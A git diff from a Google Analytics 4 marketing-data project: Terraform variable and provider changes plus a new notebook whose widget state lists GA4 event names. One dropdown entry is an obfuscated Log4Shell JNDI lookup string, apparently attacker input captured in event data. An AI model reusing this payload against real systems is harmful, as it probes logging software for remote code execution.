property id" +ga4_stream_id = "Google Analytics data stream id" +ga4_measurement_id = "Google Analytics measurement id" +ga4_measurement_secret = "Google Analytics measurement secret" #################### GITHUB VARIABLES ################################# -project_owner_email = "Project owner email" -dataform_github_repo = "URL of the GitHub or GitLab repo which contains the Dataform scripts. Should start with https://" +project_owner_email = "Project owner email" +dataform_github_repo = "URL of the GitHub or GitLab repo which contains the Dataform scripts. Should start with https://" # Personal access tokens are intended to access GitHub resources on behalf of yourself. # Generate a github developer token for the repo above following this link: # https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic diff --git a/infrastructure/terraform/variables.tf b/infrastructure/terraform/variables.tf index 978b6480..38d46a79 100644 --- a/infrastructure/terraform/variables.tf +++ b/infrastructure/terraform/variables.tf @@ -17,6 +17,11 @@ variable "tf_state_project_id" { type = string } +variable "main_project_id" { + type = string + description = "Project ID where feature store resources are created" +} + variable "data_project_id" { description = "Default project to contain the MDS BigQuery datasets" type = string @@ -56,7 +61,7 @@ variable "project_owner_email" { } variable "dataform_github_repo" { - description = "Private Github repo for Dataform." + description = "Private GitHub repo for Dataform." type = string validation { condition = substr(var.dataform_github_repo, 0, 8) == "https://" @@ -65,7 +70,7 @@ variable "dataform_github_repo" { } variable "dataform_github_token" { - description = "Github token for Dataform repo." + description = "GitHub token for Dataform repo." type = string } @@ -81,12 +86,6 @@ variable "pipelines_github_owner" { default = "temporarily unused" } -variable "create_dev_environment" { - description = "Indicates that a development environment needs to be created" - type = bool - default = true -} - variable "dev_data_project_id" { description = "Project ID of where the dev datasets will created. If not provided, data_project_id will be used." type = string @@ -99,12 +98,6 @@ variable "dev_destination_data_location" { default = "" } -variable "create_staging_environment" { - description = "Indicates that a staging environment needs to be created" - type = bool - default = true -} - variable "staging_data_project_id" { description = "Project ID of where the staging datasets will created. If not provided, data_project_id will be used." type = string @@ -117,10 +110,10 @@ variable "staging_destination_data_location" { default = "" } -variable "create_prod_environment" { - description = "Indicates that a production environment needs to be created" - type = bool - default = true +variable "property_id" { + description = "Google Analytics 4 Property ID to install the MDS" + type = string + default = "" } variable "prod_data_project_id" { @@ -147,8 +140,8 @@ variable "source_ga4_export_dataset" { variable "ga4_incremental_processing_days_back" { description = "Past number of days to process GA4 exported data" - type = string - default = "3" + type = string + default = "3" } variable "source_ads_export_data" { @@ -189,6 +182,18 @@ variable "ga4_measurement_secret" { sensitive = true } +variable "deploy_dataform" { + description = "Toggler for activation module" + type = bool + default = false +} + +variable "deploy_purchase_propensity" { + description = "Toggler for purchase propensity module" + type = bool + default = false +} + variable "deploy_activation" { description = "Toggler for activation module" type = bool @@ -219,16 +224,16 @@ variable "mds_dataset_prefix" { default = "marketing_ga4_v1" } -variable "feature_store_config_env" { - description = "determine which config file is used for feature store deployment" +variable "global_config_env" { + description = "determine which config file is used for globaly for deployment" type = string default = "config" } -variable "poetry_cmd" { - description = "alias for poetry run command on the current system" +variable "uv_cmd" { + description = "alias for uv run command on the current system" type = string - default = "poetry" + default = "uv" } variable "feature_store_project_id" { @@ -238,6 +243,199 @@ variable "feature_store_project_id" { variable "website_url" { description = "Website url to be provided to the auto segmentation model" - type = string - default = null + type = string + default = null +} + +variable "time_zone" { + description = "Timezone for scheduled jobs" + type = string + default = "America/New_York" +} + +variable "pipeline_configuration" { + description = "Pipeline configuration that will alternate certain settings in the config.yaml.tftpl" + type = map( + map( + object({ + schedule = object({ + # The `state` defines the state of the pipeline. + # In case you don't want to schedule the pipeline, set the state to `PAUSED`. + state = string + }) + }) + ) + ) + + default = { + feature-creation-auto-audience-segmentation = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-audience-segmentation = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-purchase-propensity = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-churn-propensity = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-customer-ltv = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-aggregated-value-based-bidding = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-lead-score-propensity = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + value_based_bidding = { + training = { + schedule = { + state = "PAUSED" + } + } + explanation = { + schedule = { + state = "PAUSED" + } + } + } + purchase_propensity = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + churn_propensity = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + segmentation = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + auto_segmentation = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + propensity_clv = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + clv = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + lead_score_propensity = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + } + validation { + condition = alltrue([ + for p in keys(var.pipeline_configuration) : alltrue([ + for c in keys(var.pipeline_configuration[p]) : ( + try(var.pipeline_configuration[p][c].schedule.state, "") == "ACTIVE" || + try(var.pipeline_configuration[p][c].schedule.state, "") == "PAUSED" + ) + ]) + ]) + error_message = "The 'state' field must be either 'PAUSED' or 'ACTIVE' for all pipeline configurations." + } +} + + +variable "non_ecomm_events_list" { + description = "Short list of prioritized events that are correlated to the non ecommerce target event" + type = list(string) + default = ["scroll_50", "view_search_results"] +} + +variable "non_ecomm_target_event" { + description = "Non ecommerce target event for the lead score propensity feature transformation" + type = string + default = "login" } diff --git a/infrastructure/terraform/versions.tf b/infrastructure/terraform/versions.tf index 5a896e28..2e275387 100644 --- a/infrastructure/terraform/versions.tf +++ b/infrastructure/terraform/versions.tf @@ -20,7 +20,12 @@ terraform { required_providers { google = { source = "hashicorp/google" - version = ">= 3.43.0, >= 3.53.0, >= 3.63.0, >= 4.83.0, < 5.0.0, < 6.0.0" + version = "5.45.0" + } + + google-beta = { + source = "hashicorp/google-beta" + version = "5.45.0" } } diff --git a/notebooks/events_analysis.ipynb b/notebooks/events_analysis.ipynb new file mode 100644 index 00000000..7800a2c6 --- /dev/null +++ b/notebooks/events_analysis.ipynb @@ -0,0 +1,6786 @@ +{ + "nbformat": 4, + "nbformat_minor": 0, + "metadata": { + "colab": { + "provenance": [] + }, + "kernelspec": { + "name": "python3", + "display_name": "Python 3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "510a3c2ce1f249c291aeaa8ea214a127": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_dd70738e3b794fff8c79a13d8dedc202", + "IPY_MODEL_b1fc882904974aacaa704e8e1f871227" + ], + "layout": "IPY_MODEL_5240f36b552e48eeb8d3ddcbeaf9f004" + } + }, + "dd70738e3b794fff8c79a13d8dedc202": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DropdownModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DropdownModel", + "_options_labels": [ + "view_search_results", + "view_promotion", + "view_item_list", + "view_item", + "view_cart", + "video_play", + "user_engagement", + "session_start", + "select_promotion", + "select_item", + "scroll", + "remove_from_cart", + "purchase", + "page_view", + "maj_purchase_propensity_vbb_30_15", + "maj_purchase_propensity_30_15", + "maj_cltv_180_30", + "maj_churn_propensity_30_15", + "maj_audience_segmentation_15", + "imported", + "first_visit", + "errors", + "click", + "begin_checkout", + "ads_conversion_Checkout_1", + "add_to_wishlist", + "add_to_cart", + "add_shipping_info", + "add_payment_info", + "${jndi:dns://33${::-.}post${::-.}analyti" + ], + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "DropdownView", + "description": "Target:", + "description_tooltip": null, + "disabled": false, + "index": 12, + "layout": "IPY_MODEL_f25457004bb5499aa7301831d9337ab7", + "style": "IPY_MODEL_7bea3caf6e954ec4850290f791b790db" + } + }, + "b1fc882904974aacaa704e8e1f871227": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ButtonModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ButtonModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ButtonView", + "button_style": "", + "description": "Confirm Target", + "disabled": false, + "icon": "", + "layout": "IPY_MODEL_b55f0d2197ef4068979e6ac7613658c1", + "style": "IPY_MODEL_c5fb7e585532423f85122c3e4d118bea", + "tooltip": "" + } + }, + "5240f36b552e48eeb8d3ddcbeaf9f004": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f25457004bb5499aa7301831d9337ab7": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7bea3caf6e954ec4850290f791b790db": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b55f0d2197ef4068979e6ac7613658c1": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c5fb7e585532423f85122c3e4d118bea": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ButtonStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ButtonStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "button_color": null, + "font_weight": "" + } + }, + "a7e3ea48a523462daeac82d4f5640101": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_dd70738e3b794fff8c79a13d8dedc202", + "IPY_MODEL_b1fc882904974aacaa704e8e1f871227" + ], + "layout": "IPY_MODEL_bc83fabc3fd04f66aa62826ac7014f1f" + } + }, + "bc83fabc3fd04f66aa62826ac7014f1f": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dabe307bb3814c0b928f4e6afe5e8bc8": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ButtonModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ButtonModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ButtonView", + "button_style": "", + "description": "Confirm Features", + "disabled": false, + "icon": "", + "layout": "IPY_MODEL_c2b1c7eb19aa431ab36f63e725062225", + "style": "IPY_MODEL_becaf358ea92408781b9fed526032216", + "tooltip": "" + } + }, + "c2b1c7eb19aa431ab36f63e725062225": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "becaf358ea92408781b9fed526032216": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ButtonStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ButtonStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "button_color": null, + "font_weight": "" + } + }, + "cb59e53ee06f4cdcba6970997af52a0d": { + "model_module": "@jupyter-widgets/controls", + "model_name": "GridBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "GridBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "GridBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_435c30134cab4d30b02115b45315c96f", + "IPY_MODEL_cb90e799babe4000a2385a42835715dc", + "IPY_MODEL_4dab22eea30f4879b69c42957bee96dc", + "IPY_MODEL_158f1d53adf54c528eb0c290c1bf38a7", + "IPY_MODEL_0cebc5f02aed4a96a4bc46a1123e83f2", + "IPY_MODEL_069ad5938cc44d1b98c0b715c120e2fb", + "IPY_MODEL_29490473f86c4224b40f1bc14dcf4126", + "IPY_MODEL_d76a2a87928a4feaa388e906e3dba5c0", + "IPY_MODEL_f106dfaad61d4048a9dee141dbfc70f8", + "IPY_MODEL_27093f0b59604748b47e1011ade33069", + "IPY_MODEL_b98edc06317d4ba68678baade932be80", + "IPY_MODEL_7506fba59d244542a9f950d865375a7f", + "IPY_MODEL_0860bfa9645f406e81b47285a8c5ea94", + "IPY_MODEL_7e36b5eab7b74d2fac02312aec136228", + "IPY_MODEL_b18c8b6f127241458d6304b8e43d0b40", + "IPY_MODEL_377fb1783fae4079a4406df02b6a2840", + "IPY_MODEL_09d4235a91e34e84b8b773cebc19a854", + "IPY_MODEL_cd912a4adae54ba8a2c32dc01402c523", + "IPY_MODEL_81fdbc9e894a4ba39f19eea43a6935f2", + "IPY_MODEL_72eebc41731d4dafbd2a4528032bdf11", + "IPY_MODEL_ce94c729917848e8b98b965163e4466b", + "IPY_MODEL_16031519618548678483de6e12dd3245", + "IPY_MODEL_09fce7da46184625a657e076f89ffbad", + "IPY_MODEL_fe4d60abead4406dbac0e54e6384f787", + "IPY_MODEL_fb03611950c8499a9078544ba5eeefa3", + "IPY_MODEL_d1d9f57fa9fa42d797325eed00664ed8", + "IPY_MODEL_2ff572bb94534bae8dfa5b61bb36adfd", + "IPY_MODEL_903f3582fe194b61b062f6575cadf380", + "IPY_MODEL_4da6287f1f5140228c1cbbe3e9873ea0" + ], + "layout": "IPY_MODEL_fc2e0535ede24be5a2b28ff37b307475" + } + }, + "435c30134cab4d30b02115b45315c96f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "view_search_results", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_50a2eed8e87a4b3fbe4f7a31d5c54a5c", + "style": "IPY_MODEL_28580af1f9e54bbe99dd7ef9b3e1c7c0", + "value": false + } + }, + "cb90e799babe4000a2385a42835715dc": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "view_promotion", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_f2e199b4f49d4beda16da275bad92312", + "style": "IPY_MODEL_2280d04b76b34456a3e0ebb257cbb58d", + "value": false + } + }, + "4dab22eea30f4879b69c42957bee96dc": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "view_item_list", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_9e14f8ccc46a415382508d2f398801b1", + "style": "IPY_MODEL_6cc57addbbe3499fae8d82188d6cc466", + "value": false + } + }, + "158f1d53adf54c528eb0c290c1bf38a7": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "view_item", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_2a36fd87b7e048ab80b41250b2444cff", + "style": "IPY_MODEL_6f80b1fdc1a645dda301f305c3fcfa3c", + "value": false + } + }, + "0cebc5f02aed4a96a4bc46a1123e83f2": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "view_cart", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_d5d5d1041afb49fba74e2010a8b517ef", + "style": "IPY_MODEL_df4a6c1954694ebd9078d2bbce331c0c", + "value": true + } + }, + "069ad5938cc44d1b98c0b715c120e2fb": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "video_play", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_d6ea703fef6a40648d33940ea0533477", + "style": "IPY_MODEL_674f1b434cc248398e785c641cccf6a3", + "value": false + } + }, + "29490473f86c4224b40f1bc14dcf4126": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "user_engagement", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_712af8b20d414f7eae375231b30ebf93", + "style": "IPY_MODEL_ff5753360adf4971b513dc197a10ba12", + "value": false + } + }, + "d76a2a87928a4feaa388e906e3dba5c0": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "session_start", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_472b0409a6784d7e8595d430074b4976", + "style": "IPY_MODEL_fbf924f270ad49b4ae7fe6d33f3de998", + "value": false + } + }, + "f106dfaad61d4048a9dee141dbfc70f8": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "select_promotion", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_e1869fb4d1a54d7b91db2a714bc8ab69", + "style": "IPY_MODEL_e99040a596774e35b013e07b97d59aa6", + "value": true + } + }, + "27093f0b59604748b47e1011ade33069": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "select_item", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_416e7a5741484457b37ee2cc6cb46769", + "style": "IPY_MODEL_5abc6dd6fc8a42cfac748645d7d5120d", + "value": false + } + }, + "b98edc06317d4ba68678baade932be80": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "scroll", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_f0571918d4964cb0a4e8c78b7dc5b81d", + "style": "IPY_MODEL_ee01fb5c76c6479a9764e8e8c7deeb24", + "value": true + } + }, + "7506fba59d244542a9f950d865375a7f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "remove_from_cart", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_dd9432faf01e49f7b645575d9422a4df", + "style": "IPY_MODEL_b11bbb17f64a4cb88670c3251361abc1", + "value": false + } + }, + "0860bfa9645f406e81b47285a8c5ea94": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "page_view", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_008431306c25440584e45566ef6e2ef3", + "style": "IPY_MODEL_5b64a9e9922f406f8834ebac63a09ca8", + "value": false + } + }, + "7e36b5eab7b74d2fac02312aec136228": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "maj_purchase_propensity_vbb_30_15", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_682288ea4e1440d3974262dfffefc51a", + "style": "IPY_MODEL_8dfc8df4b9f241cf901c3fbb86554cd8", + "value": false + } + }, + "b18c8b6f127241458d6304b8e43d0b40": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "maj_purchase_propensity_30_15", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_68a0bbe8687e4db9b87542ef7023345f", + "style": "IPY_MODEL_70a89485f8eb4c9680ccdb6e20041f65", + "value": false + } + }, + "377fb1783fae4079a4406df02b6a2840": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "maj_cltv_180_30", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_6009ba22e5134b42a48038970f8a8087", + "style": "IPY_MODEL_25374e0a7ab5466bbcedf7cf15974c4f", + "value": false + } + }, + "09d4235a91e34e84b8b773cebc19a854": { + "model_module": "@jupyter-widgets/controls", + "model_name": 